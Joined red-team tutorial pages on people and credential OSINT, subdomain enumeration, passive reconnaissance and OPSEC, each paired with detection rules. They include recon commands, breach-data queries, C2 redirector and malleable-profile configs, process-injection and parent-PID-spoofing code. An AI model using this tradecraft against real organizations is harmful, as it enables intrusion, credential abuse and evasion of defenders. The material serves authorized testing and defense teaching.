• Employee names drive email-format inference; Hunter.io’s pattern field and theHarvester’s multi-source output extrapolate addresses across an entire org.
• HIBP confirms exposure (use the keyless k-Anonymity /range/ endpoint for safe password checks); DeHashed and paste sites supply the actual reusable passwords.
• The attack path chains people → emails → breach credentials → discovered portals → MFA-less spray candidates — mapped to ATT&CK T1589, T1593, and downstream T1586/T1078.
• Defenders detect the downstream abuse — Event ID 4625 spray patterns, anomalous Entra sign-ins — and shrink exposure with DMARC p=reject, universal MFA, GitHub secret scanning, and authorized HIBP domain searches.

Related Tutorials

• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
• Passive OSINT: Mapping the Target Without Touching It
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• OPSEC Principles for Red Teamers: Staying Undetected

References

• Gather Victim Identity Information, Technique T1589 – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information: Credentials, Sub-technique T1589.001 – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information: Email Addresses, Sub-technique T1589.002 – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information: Employee Names, Sub-technique T1589.003 – Enterprise | MITRE ATT&CK®
• Compromise Accounts: Social Media Accounts, Sub-technique T1586.001 – Enterprise | MITRE ATT&CK®
• Acquire OSINT data sets and information (People Information Gathering), Technique T1266 – PRE-ATT&CK | MITRE ATT&CK®

Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

Objective: Understand how an authorized red teamer methodically maps an organization’s external DNS attack surface — from zero-noise passive Certificate Transparency mining to active brute-force resolution — and how defenders detect each technique at the protocol, log, and SIEM level.

1. Why Subdomain Enumeration Matters: The Attack Surface Problem

An organization’s externally reachable footprint is rarely the handful of hostnames it advertises. Missed subdomains mean missed attack surface: forgotten admin panels, staging environments, internal APIs accidentally exposed, and legacy services that were never meant to be public. Each undiscovered host is a node the defender is not monitoring and the operator can pivot through.

Enumeration is a multi-source intelligence-gathering process, not a single tool run. A mature workflow combines passive aggregation, public technical databases, and active resolution to build the most complete asset inventory possible. The skill is sequencing those techniques from quietest to loudest so the operator controls exactly how much signal they generate.

All techniques below fall under MITRE’s Reconnaissance tactic (TA0043). Run them only inside an authorized scope.

2. DNS Primer for Red Teamers: Records, Zones, and Resolvers

DNS resolution flows through a chain: a recursive resolver queries the root, then the TLD nameservers, then the authoritative NS for the zone. The authoritative server holds the records that matter to recon. Each record type leaks distinct intelligence.

Enumerate record types directly with dig:

dig A target.com +short
dig NS target.com +short
dig MX target.com +short
dig TXT target.com +short          # SPF/DMARC reveal third-party SaaS
dig SOA @ns1.target.com target.com

TXT recon is high-value: SPF includes (include:_spf.salesforce.com) and verification tokens fingerprint exactly which cloud and SaaS providers an organization uses.

3. Zone Transfer Attacks (AXFR/IXFR): When DNS Gives It All Away

A zone transfer exists so a secondary nameserver can replicate a zone from the primary. A full transfer is DNS query type AXFR; an incremental transfer is IXFR. If an authoritative server answers an AXFR from an unauthorized client, it dumps the entire zone — every record, in one transaction.

dig axfr @ns1.target.com target.com

A correctly hardened server returns Transfer failed. or a refusal. A misconfigured one returns the full record set. dnsrecon automates the test across all discovered nameservers:

dnsrecon -d target.com -t axfr

Most modern configurations restrict AXFR to whitelisted secondary IPs, so success is rare — but the cost of the check is one query, and a hit collapses the entire enumeration phase into a single response.

4. Certificate Transparency: The Unintentional Subdomain Registry

Certificate Transparency (CT), defined in RFC 6962, is an open framework of public append-only logs recording every certificate issued by publicly trusted CAs. Browsers require that each certificate be logged to at least two CT logs before they accept it. The side effect: a comprehensive, searchable record of every subdomain any certificate ever covered.

Two fields carry the intelligence: the Common Name (CN) and the Subject Alternative Names (SANs). SANs are the modern standard for declaring which domains a certificate covers, and a single certificate can list dozens of subdomains. crt.sh exposes both through its name_value field.

Query the JSON API with a % wildcard prefix and extract uniques:

import requests

def crtsh_subdomains(domain):
    url = f"https://crt.sh/?q=%.{domain}&output=json"
    r = requests.get(url, timeout=30)
    subs = set()
    for entry in r.json():
        for name in entry["name_value"].splitlines():
            subs.add(name.lstrip("*.").lower())   # strip wildcard prefix
    return sorted(subs)

for s in crtsh_subdomains("target.com"):
    print(s)

For large zones, query the backing PostgreSQL database directly — faster and not rate-limited like the web frontend:

import psycopg2

conn = psycopg2.connect(host="crt.sh", port=5432, dbname="certwatch", user="guest")
cur = conn.cursor()
cur.execute("""
    SELECT ci.NAME_VALUE FROM certificate_identity ci
    WHERE ci.NAME_TYPE = 'dNSName'
    AND reverse(lower(ci.NAME_VALUE)) LIKE reverse(lower(%s));
""", ("%.target.com",))

subs = {row[0].lstrip("*.").lower() for row in cur.fetchall()}
print("\n".join(sorted(subs)))

NAME_TYPE = 'dNSName' filters to DNS SANs only. Other CT aggregators include Censys (search.censys.io), Facebook CT (developers.facebook.com/tools/ct/), and the Google Transparency Report. CT logs ingest within minutes of issuance; crt.sh and Certspotter typically surface new certificates within a few hours.

5. WHOIS, RDAP, and ASN Enumeration: Mapping the IP Estate

WHOIS data is held by Regional Internet Registries (RIRs) responsible for allocating domain names and IP resources. RDAP (Registration Data Access Protocol, RFC 7480) is the modern JSON-based successor. Both reveal registrar, creation/expiry dates, nameservers, and registrant organization.

whois target.com                  # registrar, NS, creation date, registrant org
curl -s https://rdap.verisign.com/com/v1/domain/target.com | jq '.nameservers, .entities'

The entities and nameservers arrays in RDAP output map cleanly to the org and infrastructure you correlate elsewhere. From the registrant org you pivot to ASN enumeration via RIPE/ARIN to discover owned IP blocks, then run reverse PTR sweeps across those ranges to recover hostnames not present in any forward record.

6. Passive DNS Aggregation: Intelligence Without Touching the Target

Passive DNS datasets store historical resolution data harvested by third parties. Querying them yields subdomains without your operator ever touching the target’s infrastructure — zero target-side signal.

Primary data sources include PassiveTotal/RiskIQ, VirusTotal, SecurityTrails, Shodan, and Censys. Most require API keys configured in the tool’s provider file.

subfinder -d target.com -all -o subs_passive.txt
amass enum -passive -d target.com -o subs_amass.txt
theHarvester -d target.com -b crtsh,bing,duckduckgo

amass is often misunderstood but offers unmatched depth when configured correctly; its passive mode remains a valid quiet alternative to active collection.

7. Active DNS Brute-Force: Wordlists, Resolvers, and Wildcard DNS

Active techniques directly interact with the target’s DNS infrastructure. The core mechanic: iterate a wordlist, prepend each word as a label (dev.target.com), issue an A/AAAA query, and record responses.

The critical hazard is wildcard DNS: if *.target.com resolves to a catch-all IP, every guess returns a positive. Tools must detect and filter this. puredns handles wildcard detection and deduplication natively:

puredns bruteforce wordlist.txt target.com \
  -r resolvers.txt -w resolved.txt

Resolver selection matters — use a curated list of validated public resolvers (e.g., trickest/resolvers) so queries distribute and stay accurate. Wordlists drive coverage: SecLists dns-Jhaddix.txt and Commonspeak2 are standard. Distributing queries across many resolvers also smears per-source detection thresholds.

8. Permutation and Mutation: Finding What Brute-Force Misses

Brute-force only finds words in your list. Permutation generates variants of already-discovered subdomains — taking api and producing api-dev, api-v2, api-staging, internal-api. altdns and dnsgen perform this mutation.

PATTERNS = ["dev", "staging", "prod", "v2", "internal", "test"]

def mutate(known_subs, base):
    out = set()
    for host in known_subs:
        label = host.replace(f".{base}", "")
        for p in PATTERNS:
            out.add(f"{label}-{p}.{base}")   # api -> api-dev.target.com
            out.add(f"{p}-{label}.{base}")   # api -> dev-api.target.com
    return out

# feed mutations back into dnsx for resolution

Pipe the generated candidates straight into dnsx to resolve only the survivors. Permutation routinely surfaces staging hosts that follow internal naming conventions no public wordlist contains.

9. Chaining It Together: A Full Enumeration Workflow

The value is in the pipeline. Aggregate names, resolve them, probe live services, then validate. Each stage adds a column of intelligence:

subfinder -d target.com -o subs.txt                       # passive aggregation
dnsx -l subs.txt -a -resp -o resolved.txt                 # keep only resolvers
httpx -l resolved.txt -title -status-code -tech-detect \
      -o live.txt                                          # live HTTP fingerprint

subfinder supplies the candidate set, dnsx discards dead names and records the answers, and httpx confirms which hosts serve HTTP, their titles, status codes, and detected technologies. Downstream, aquatone or gowitness screenshot each live host for triage at scale, and subjack checks for takeover. CT logs and passive DNS feed the top of the funnel; active brute-force and permutation widen it; HTTP probing and screenshotting prioritize what to investigate.

10. Subdomain Takeover: From Dangling CNAME to Claimed Asset

Enumeration frequently uncovers dangling CNAMEs — a subdomain whose CNAME points to a deprovisioned cloud service (GitHub Pages, Heroku, AWS S3, Azure, Fastly). If the operator can re-register that external resource, they serve content from the victim’s trusted subdomain. This is the primary takeover vector.

subjack fingerprints CNAME chains against known-vulnerable service responses:

subjack -w resolved.txt -t 100 -timeout 30 \
        -c fingerprints.json -v

A positive result means a subdomain’s CNAME chain terminates at an unclaimed external resource. In an authorized engagement, validate the finding against the can-i-take-over-xyz reference list and report it through responsible disclosure — do not claim the resource unless the rules of engagement explicitly permit proof-of-concept takeover.

11. Common Attacker Techniques

The progression matters operationally: CT logs, WHOIS/RDAP, and passive DNS generate zero target-side signal, while AXFR, brute-force, and HTTP probing are increasingly noisy and detectable.

12. Defensive Strategies & Detection

CT mining, WHOIS/RDAP, and passive DNS queries occur entirely outside the target’s infrastructure and generate no SIEM-visible events at collection time. Detection therefore concentrates on the active phases.

Sysmon and ETW

Sysmon Event ID 22 (DNSEvent) logs DNS queries made through the Windows DnsQuery_* API calls in dnsapi.dll, supported on Windows 8.1 and above via ETW. This catches recon tooling run from a compromised Windows host, recording QueryName, QueryStatus, and QueryResults. The underlying provider is Microsoft-Windows-DNS-Client (GUID {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D} — verify against current Windows documentation).

Network and Resolver-Side Detection

• Flag source IPs generating more than N NXDomain responses per minute; brute-force tools generate hundreds per second.
• DNS Response Policy Zones (RPZ) and authoritative server logs capture all inbound queries, including refused AXFR attempts.
• Restrict AXFR with allow-transfer (BIND) or transfer ACLs (Windows DNS Server) to whitelisted secondaries only.
• Enable Response Rate Limiting (RRL) to slow brute-force resolution.

Sigma Rule (DNS brute-force via Sysmon EID 22)

title: DNS Subdomain Brute-Force (High NXDomain Rate)
logsource:
  product: windows
  category: dns_query          # maps to Sysmon EventID 22
detection:
  selection:
    QueryStatus: 'NXDOMAIN'    # DNS_ERROR_RCODE_NAME_ERROR (9003)
  condition: selection | count() by SourceIp > 200 within 1m
fields:
  - QueryName
  - QueryStatus
  - QueryResults
  - Image
level: medium

CT Log Monitoring (Defensive)

Defenders can flip CT against the attacker: subscribe to Certspotter (SSLMate), crt.sh alerts, or the Facebook CT monitoring API to receive near-real-time alerts on certificates newly issued for your domain tree. Combined with regular self-enumeration to detect unauthorized subdomain creation, dangling-CNAME audits, and accurate published SPF/DMARC/DKIM TXT records, this closes most of the gaps recon exploits.

13. Tools for Subdomain Enumeration Analysis

14. MITRE ATT&CK Mapping

All map to Reconnaissance (TA0043). The defining split: T1595 is active and detectable, while the T1596 family is passive and invisible to the target at collection time.

Summary

• External DNS attack surface is far larger than what an organization advertises, and missed subdomains are missed attack surface.
• DNS records, AXFR misconfigurations, and Certificate Transparency CN/SAN fields each leak distinct, attack-relevant intelligence about hosts and infrastructure.
• Passive sources (CT logs, WHOIS/RDAP, passive DNS) generate zero target-side signal; active brute-force and HTTP probing are detectable through high NXDomain rates and access logs.
• Detect active recon via Sysmon Event ID 22 DNS query logging, resolver NXDomain rate thresholds, and RPZ/AXFR refusal logs.
• Defend by restricting AXFR, removing dangling CNAMEs, rate-limiting resolvers, and monitoring your own domains in CT logs with Certspotter for near-real-time certificate alerts.

Related Tutorials

• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Passive OSINT: Mapping the Target Without Touching It
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• OPSEC Principles for Red Teamers: Staying Undetected

References

• MITRE ATT&CK: Gather Victim Network Information: DNS (T1590.002)
• MITRE ATT&CK: Search Open Technical Databases: DNS/Passive DNS (T1596.001)
• MITRE ATT&CK: Search Open Technical Databases: Digital Certificates (T1596.003)
• MITRE ATT&CK: Search Open Technical Databases: Scan Databases (T1596.005)
• RFC 9162: Certificate Transparency Version 2.0 (IETF)
• RFC 6962: Certificate Transparency (IETF RFC Editor)

Passive OSINT: Mapping the Target Without Touching It

Objective: Understand how authorized red teamers and defenders build a complete external attack-surface picture of an organization using only public, third-party data sources — generating zero packets to target systems — and how defenders run the same exercise against themselves to shrink that exposure.

1. What “Passive” Actually Means

Passive reconnaissance never interacts with the target’s own infrastructure. Every byte you read comes from a third-party aggregator — a registrar’s WHOIS server, a certificate transparency log, Shodan’s index, a breach database, a search-engine cache. The target’s web servers, DNS resolvers, and firewalls log nothing, because you never send them anything. That property is the entire point: passive OSINT leaves no forensic trail on the defender’s systems.

This contrasts directly with Active Scanning (T1595), where you resolve hostnames against the target’s authoritative nameservers, fingerprint services, or port-scan a CIDR. Active scanning touches the target and is logged. T1595 is explicitly out of scope here — it is the technique that begins the moment passive recon ends.

Authorization first. Run these techniques only against organizations you are contractually authorized to assess, within a signed Rules of Engagement (RoE) and defined scope. Querying public databases is legal in most jurisdictions, but acting on harvested credentials or accessing exposed services is not — that is active intrusion, governed by your authorization.

All techniques below map to MITRE ATT&CK Tactic: Reconnaissance (TA0043).

2. The OSINT Intelligence Cycle

Unstructured “Googling the company” wastes time and produces noise. Disciplined OSINT follows a repeatable cycle driven by intelligence requirements defined before any tool runs.

Below is the full passive source landscape this tutorial works through.

3. Domain & DNS Reconnaissance

Start with the apex domain. WHOIS/RDAP reveals registrar, registration dates, and (where not privacy-protected) ownership contacts. DNS record enumeration against public resolvers — not the target’s nameservers — exposes mail providers, CDN usage, and SPF/DMARC posture.

# Enumerate core DNS records via a public resolver (no packets to the target)
for rr in A MX NS TXT SOA; do
  echo "== $rr =="
  dig +short @1.1.1.1 example.com $rr
done

# MX reveals the mail provider; TXT reveals email-auth posture
dig +short example.com MX          # e.g. *.mail.protection.outlook.com -> M365
host -t TXT _dmarc.example.com      # p=none vs p=reject tells you spoofability

An MX pointing to mail.protection.outlook.com identifies Microsoft 365; an SPF record ending in ~all instead of -all, or a missing DMARC policy, flags mail-spoofing potential. This covers Domain Properties (T1590.001) and DNS (T1590.002).

4. Certificate Transparency & Subdomain Enumeration

Under RFC 6962, every publicly trusted CA logs each certificate it issues to append-only, monitorable CT logs. That means every SSL certificate ever issued for a domain is searchable — including certs for staging, dev, and legacy VPN subdomains defenders forgot existed.

# Pull every CT-logged cert for *.example.com and extract unique hostnames
curl -s 'https://crt.sh/?q=%25.example.com&output=json' \
  | jq -r '.[].name_value' \
  | sed 's/\*\.//g' \
  | sort -u

Aggregators wrap CT and dozens of other passive feeds. Run them in passive mode so they never resolve against the target:

# Passive mode: third-party data sources only, no resolution against the target
amass enum -passive -d example.com -o subs.txt

# Contrast: 'amass enum -active' resolves and brute-forces -> NOT passive, out of scope

Forgotten subdomains like legacy-vpn.example.com or jenkins-dev.example.com are gold: they often run unpatched software outside the patch-management lifecycle. This is Digital Certificates (T1596.003).

5. Internet-Wide Scan Databases: Shodan & Censys

Shodan and Censys continuously crawl the entire IPv4 space and index the banner metadata that devices return on open ports — web servers, routers, databases, ICS/OT, cloud instances. Querying their index is fully passive: they touched the target months ago; you only read the cache.

import shodan

api = shodan.Shodan("YOUR_API_KEY")          # querying Shodan's index, not the target
results = api.search('org:"Example Corp"')

print(f"Total results: {results['total']}")
for host in results["matches"][:25]:          # respect plan rate limits
    ip   = host["ip_str"]
    port = host["port"]
    prod = host.get("product", "")
    print(f"{ip}:{port}\t{prod}")

Pivot with filters: org:, asn:AS64500, port:3389, product:Elasticsearch. Exposed RDP (3389), unauthenticated Elasticsearch (9200), and VPN gateway banners directly enumerate Software (T1592.002), Hardware (T1592.001), and Network Security Appliances (T1590.006). Cross-reference Shodan IPs with your CT-derived subdomains to attach service data to named hosts. This is Scan Databases (T1596.005).

6. Search Engine Dorking (Google Hacking)

Search operators surface content the target inadvertently exposed and the engine indexed. The Google Hacking Database (GHDB) catalogs thousands of proven patterns. Use these manually in a browser — automated scraping violates ToS and risks blocking.

Combining site: with intitle:, inurl:, and filetype: is remarkably effective. Bing serves as a secondary index that sometimes retains content Google dropped. This covers Search Engines (T1593.002) and Search Victim-Owned Websites (T1594).

7. Code Repository Mining

Public repositories leak internal hostnames, tooling, and — too often — live secrets. Search GitHub/GitLab for the org name, email domains, and internal hostnames discovered earlier. For your own repositories, run secret scanners in CI:

# Audit your OWN org's repos for committed secrets (defensive use)
trufflehog github --org=example-corp --only-verified
gitleaks detect --source . --report-format sarif --report-path leaks.sarif

Commit history and job postings reveal the technology stack. This is Code Repositories (T1593.003).

8. Organizational & Personnel Intelligence

LinkedIn is the most complete public database of an organization’s employees — org structure, reporting lines, and the technology stack advertised in job postings. Combine with theHarvester and Hunter.io to derive the email-address convention (first.last@), feeding social-engineering target lists.

Public documents carry metadata that maps directly to usernames and software versions:

import subprocess, json

out = subprocess.run(
    ["exiftool", "-j", "report.pdf"], capture_output=True, text=True
).stdout
meta = json.loads(out)[0]

for f in ("Creator", "Author", "LastModifiedBy", "Producer"):
    if f in meta:
        print(f"{f}: {meta[f]}")   # e.g. Author: jsmith / Producer: Acrobat 15.0

This covers Determine Physical Locations (T1591.001), Identify Roles (T1591.004), Employee Names (T1589.003), and Email Addresses (T1589.002).

9. Breach Data & Credential Exposure

Have I Been Pwned, DeHashed, and credential-log collections reveal when employee credentials have been exposed in third-party breaches — frequently before those credentials are weaponized in credential-stuffing.

import requests

domain  = "example.com"
headers = {"hibp-api-key": "YOUR_API_KEY", "user-agent": "authorized-recon"}
url     = f"https://haveibeenpwned.com/api/v3/breacheddomain/{domain}"

for alias, breaches in requests.get(url, headers=headers).json().items():
    print(alias, "->", ", ".join(breaches))

Report the breach name, date, and exposed data classes (passwords, hashes, MFA seeds). Never reuse harvested credentials outside RoE scope — possession is recon; authentication is intrusion. This is Credentials (T1589.001).

10. BGP, ASN & IP Range Mapping

To bound the network footprint, resolve a known IP to its origin ASN, then enumerate every prefix that ASN announces. This delineates owned IP space, co-location, and cloud presence — without scanning a single host.

# 1. Resolve an IP to its origin ASN (Team Cymru WHOIS)
whois -h whois.cymru.com " -v 203.0.113.10"

# 2. Enumerate prefixes announced by that ASN
whois -h whois.radb.net -- '-i origin AS64500' | grep -E '^route:'

# 3. Or use the BGPView API for prefixes + upstreams
curl -s https://api.bgpview.io/asn/64500/prefixes | jq -r '.data.ipv4_prefixes[].prefix'

This maps Network Trust Dependencies (T1590.003), IP Addresses (T1590.005), and Network Topology (T1590.004).

11. Correlating the Picture: Building a Target Profile

The real power emerges when you correlate intelligence across platforms — joining a CT-derived subdomain to a Shodan banner to an ASN prefix to a breached employee account reveals patterns invisible in any single source. Document findings in a structured, repeatable report.

# OSINT Target Profile — <Engagement ID>
## 1. Scope & Authorization        # RoE ref, authorized domains/ASNs, date window
## 2. Domain & DNS                 # registrar/RDAP, NS, MX, SPF/DKIM/DMARC posture
## 3. Subdomains (CT + passive)    # host | source | state (live / parked / dev)
## 4. Exposed Services (Shodan)    # ip:port | product | version | notes
## 5. Network Footprint            # ASN | prefixes | hosting / cloud providers
## 6. Personnel & Org              # key roles | tech stack | SE surface
## 7. Credential Exposure          # breach | date | data classes | accounts
## 8. Risk Summary & Recommendations

12. Common Attacker Techniques

These feed downstream Initial Access — phishing the personnel map, password-spraying the breach list, or exploiting the exposed service — all of which occur after passive recon and are logged.

13. Defensive Strategies & Detection

Framing: True passive OSINT generates no logs on your systems — the adversary only queries third-party databases. Defense therefore shifts to attack-surface reduction and detecting downstream use of harvested intelligence, not the recon itself.

What Defenders Can Detect (Indirect Signals)

Sigma Sketch — Downstream Credential Use

title: Possible Use of OSINT-Harvested Credentials
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID:
      - 4625   # Failed logon (credential stuffing)
      - 4648   # Explicit credential logon (harvested creds / PtH)
      - 4768   # Kerberos AS-REQ with harvested identity
  timeframe: 10m
  condition: selection | count() by SourceIp > 20
level: high

(Add environment-specific thresholds and allow-lists before deployment.)

Hardening / Attack Surface Reduction

A defender running this exact exercise against their own organization has a structural advantage: OSINT needs no change-approval window because it touches no production systems, so perimeter assessment carries zero operational impact.

14. Tools for OSINT Analysis

15. MITRE ATT&CK Mapping

All techniques fall under Reconnaissance (TA0043). T1595 Active Scanning is out of scope.

Summary

• Passive OSINT maps an organization’s entire external attack surface using only third-party data, generating zero packets — and therefore zero logs — on the target.
• The disciplined intelligence cycle (plan → collect → process → analyze → disseminate → monitor) turns scattered searches into a correlated target profile across DNS, CT logs, scan databases, repos, personnel, and breach data.
• Correlation is the multiplier: joining a forgotten subdomain to a Shodan banner to a breached credential reveals reachable exposure invisible in any single source.
• Because passive recon is undetectable on your systems, defense means attack-surface reduction — CT monitoring, DMARC p=reject, secret scanning, metadata stripping — plus detecting downstream credential use via Windows EventID 4625/4648.
• All techniques map to ATT&CK Reconnaissance (TA0043); the boundary is T1595 Active Scanning, which begins the moment you touch the target directly.

Related Tutorials

• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses

References

• Reconnaissance, Tactic TA0043 – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information, Technique T1589 – Enterprise | MITRE ATT&CK®
• Search Open Technical Databases, Technique T1596 – Enterprise | MITRE ATT&CK®
• Search Open Websites/Domains: Search Engines, Sub-technique T1593.002 – Enterprise | MITRE ATT&CK®
• Search Open Technical Databases: DNS/Passive DNS, Sub-technique T1596.001 – Enterprise | MITRE ATT&CK®
• NIST SP 800-115: Technical Guide to Information Security Testing and Assessment

OPSEC Principles for Red Teamers: Staying Undetected

Objective: Understand the operational security discipline an authorized red teamer must apply across infrastructure, process execution, network traffic, and on-disk artifacts to minimize detection surface, and learn the corresponding telemetry defenders use to catch each OPSEC failure.

1. What OPSEC Means for Red Teamers

Operational security is the discipline that separates a noisy penetration test from a realistic adversary simulation. A red team engagement that triggers every EDR sensor on the first beacon delivers a process audit, not a threat-emulation result. Every action — every API call, every DNS query, every dropped file — generates a detection signature. Strong OPSEC means knowing precisely what artifacts each action produces and either avoiding the action, blending it into noise, or accepting the risk consciously.

This tutorial is written for authorized red teamers and the blue teams who hunt them. Every offensive technique is paired with the exact telemetry that exposes it, so operators can self-audit and defenders can close the loop.

2. The Five-Step OPSEC Cycle Applied to Red Teaming

The classic OPSEC process, adapted to an offensive engagement:

Operators run this loop before each phase — initial access, lateral movement, persistence, exfiltration — not once at the start of the engagement.

3. Thinking Like a Sensor: The Defender’s Telemetry Stack

You cannot evade what you do not understand. Modern defenders correlate signals from at least five overlapping layers:

The Microsoft-Windows-Threat-Intelligence provider deserves a callout: it is PPL-protected and is the primary ETW source EDRs use for injection telemetry. Any attempt to disable it is itself a high-fidelity alert (T1562.001).

4. Infrastructure OPSEC: Redirectors, Domains, and Segmentation

If your C2 team server is exposed directly to the target network, a single block at the perimeter ends the engagement. Infrastructure OPSEC is about layering the chain so that the loud parts are disposable.

A minimal Nginx redirector enforcing path-based filtering:

server {
    listen 443 ssl;
    server_name updates.example-cdn.com;

    ssl_certificate     /etc/letsencrypt/live/.../fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/.../privkey.pem;

    # Drop anything that isn't on the expected beacon URI
    if ($uri !~* "^/(api/v2/telemetry|cdn/assets)") {
        return 404;
    }

    # Drop scanners and unexpected User-Agents
    if ($http_user_agent !~* "Mozilla/5\.0.*Chrome") {
        return 404;
    }

    location / {
        proxy_pass https://teamserver.internal:8443;
        proxy_set_header Host $host;
    }
}

5. Malleable C2 Profiles and Traffic Shaping

Default C2 profiles are signatured. A malleable profile rewrites every byte the beacon puts on the wire so traffic blends with expected enterprise patterns.

http-get {
    set uri "/api/v2/telemetry";
    client {
        header "Host" "updates.example-cdn.com";
        header "Accept" "application/json";
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/upload";
    client {
        header "Content-Type" "application/octet-stream";
        id { base64url; parameter "tid"; }
        output { base64; print; }
    }
}

Key directives: the metadata transform hides session state in a cookie; Host: masquerades as a CDN; URIs match a believable application path. The corresponding http-stager, process-inject, and post-ex blocks must also be customized — default stager URIs are the number-one Cobalt Strike fingerprint.

6. Process & Memory OPSEC

The classic injection triad is also the most signatured behavior in Windows. The following is shown as a “what not to do naively” reference — every line annotates the telemetry it produces:

// VirtualAllocEx in remote PID -> Sysmon EID 10 (PROCESS_VM_OPERATION)
LPVOID rbuf = VirtualAllocEx(hProc, NULL, sz,
                             MEM_COMMIT | MEM_RESERVE,
                             PAGE_EXECUTE_READWRITE);  // RWX = EDR red flag

// WriteProcessMemory                 -> Sysmon EID 10 (PROCESS_VM_WRITE)
WriteProcessMemory(hProc, rbuf, sc, sz, NULL);

// CreateRemoteThread                 -> Sysmon EID 8 (CreateRemoteThread)
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
                                 (LPTHREAD_START_ROUTINE)rbuf,
                                 NULL, 0, NULL);

Quieter alternatives reduce — but do not eliminate — visibility:

• Section-based injection via NtMapViewOfSection (T1055.004) avoids WriteProcessMemory but is still observable via Threat-Intelligence ETW.
• APC injection via NtQueueApcThread triggers only when the target thread enters an alertable wait.
• Reflective DLL / PE loading (T1620) avoids LoadLibrary and Sysmon Event ID 7 module-load entries for the malicious DLL path.
• Direct / indirect syscalls (the SysWhispers3 pattern) bypass userland EDR hooks by invoking NTAPI numbers via the syscall instruction.
• Allocate RW, then VirtualProtect to RX — never request PAGE_EXECUTE_READWRITE directly.

Process selection matters as much as the technique. notepad.exe initiating an outbound connection is anomalous; a browser or svchost.exe doing so is not.

7. Parent PID Spoofing

Parent-child chains are one of the cheapest behavioral detections. Spoofing the parent via UpdateProcThreadAttribute breaks the chain so a payload launched from a phishing macro can claim explorer.exe as its parent (T1134.004).

STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attrSize = 0;

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE,
               EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
               &si.StartupInfo, &pi);

The spoofed parent appears in Sysmon Event ID 1’s ParentProcessId and ParentImage fields. Detection: correlate ParentImage with the CreatingProcessId recorded by EDR kernel callbacks — they will disagree on a spoofed launch.

8. Network OPSEC: Sleep, Jitter, and Protocol Blending

A beacon calling back every 60 seconds on the dot is trivially clustered by an NDR. Add jitter:

import random, time

def beacon_sleep(base_seconds: int, jitter_pct: int) -> None:
    delta = base_seconds * (jitter_pct / 100.0)
    interval = base_seconds + random.uniform(-delta, +delta)
    # 60s base, 30% jitter -> 42s..78s
    time.sleep(interval)

A 60s ± 30% schedule destroys naive periodicity heuristics; longer sleeps (3600s ± 50%) defeat most short-window NDR baselines but cost interactivity. Match channel to environment:

9. LOLBins and In-Memory Execution

Living-off-the-Land Binaries (LOLBins) are signed Microsoft binaries that proxy execution and inherit trust. The trade-off is that they are now heavily monitored — rundll32.exe spawned by winword.exe is a textbook ASR trigger.

In-memory execution avoids disk artifacts entirely:

• BOFs (Beacon Object Files) execute small COFF objects inside the implant process — no new process, no file on disk.
• Assembly.Load() loads a .NET assembly from a byte array, bypassing Image Load events for the managed module on disk.
• Reflective DLL loading maps a DLL without invoking the loader, so it never appears in LoadLibrary audit paths.

A note on PowerShell: powershell -enc <base64> looks obfuscated and is logged by Sysmon Event ID 1 in its decoded form once Script Block Logging is enabled. AMSI sees the deobfuscated content immediately before execution. Encoding is not evasion against a modern stack.

10. Artifact & Log OPSEC

Cleaning up is part of the engagement — but cleanup itself is loud.

Rule of thumb: do not clear logs unless the engagement scope explicitly authorizes it. Selective in-process ETW suppression is quieter, scope-limited, and reversible.

11. The OPSEC Operator Checklist

12. Common Attacker Techniques

13. Defensive Strategies & Detection

The OPSEC failures above map directly to telemetry. Defenders should focus on behavior chains, not isolated IOCs — fixating on hashes catches yesterday’s adversary.

A Sigma sketch for the most common parent-spoof + LOLBin pattern:

title: Office Application Spawning rundll32 via Spoofed Parent
logsource:
  product: windows
  service: sysmon
detection:
  selection_proc:
    EventID: 1
    Image|endswith: '\rundll32.exe'
    ParentImage|endswith:
      - '\explorer.exe'
      - '\svchost.exe'
  selection_cmd:
    CommandLine|contains:
      - ',DllRegisterServer'
      - 'javascript:'
      - 'shell32.dll,Control_RunDLL'
  filter_signed_paths:
    CurrentDirectory|startswith: 'C:\Windows\System32\'
  condition: selection_proc and selection_cmd and not filter_signed_paths
level: high

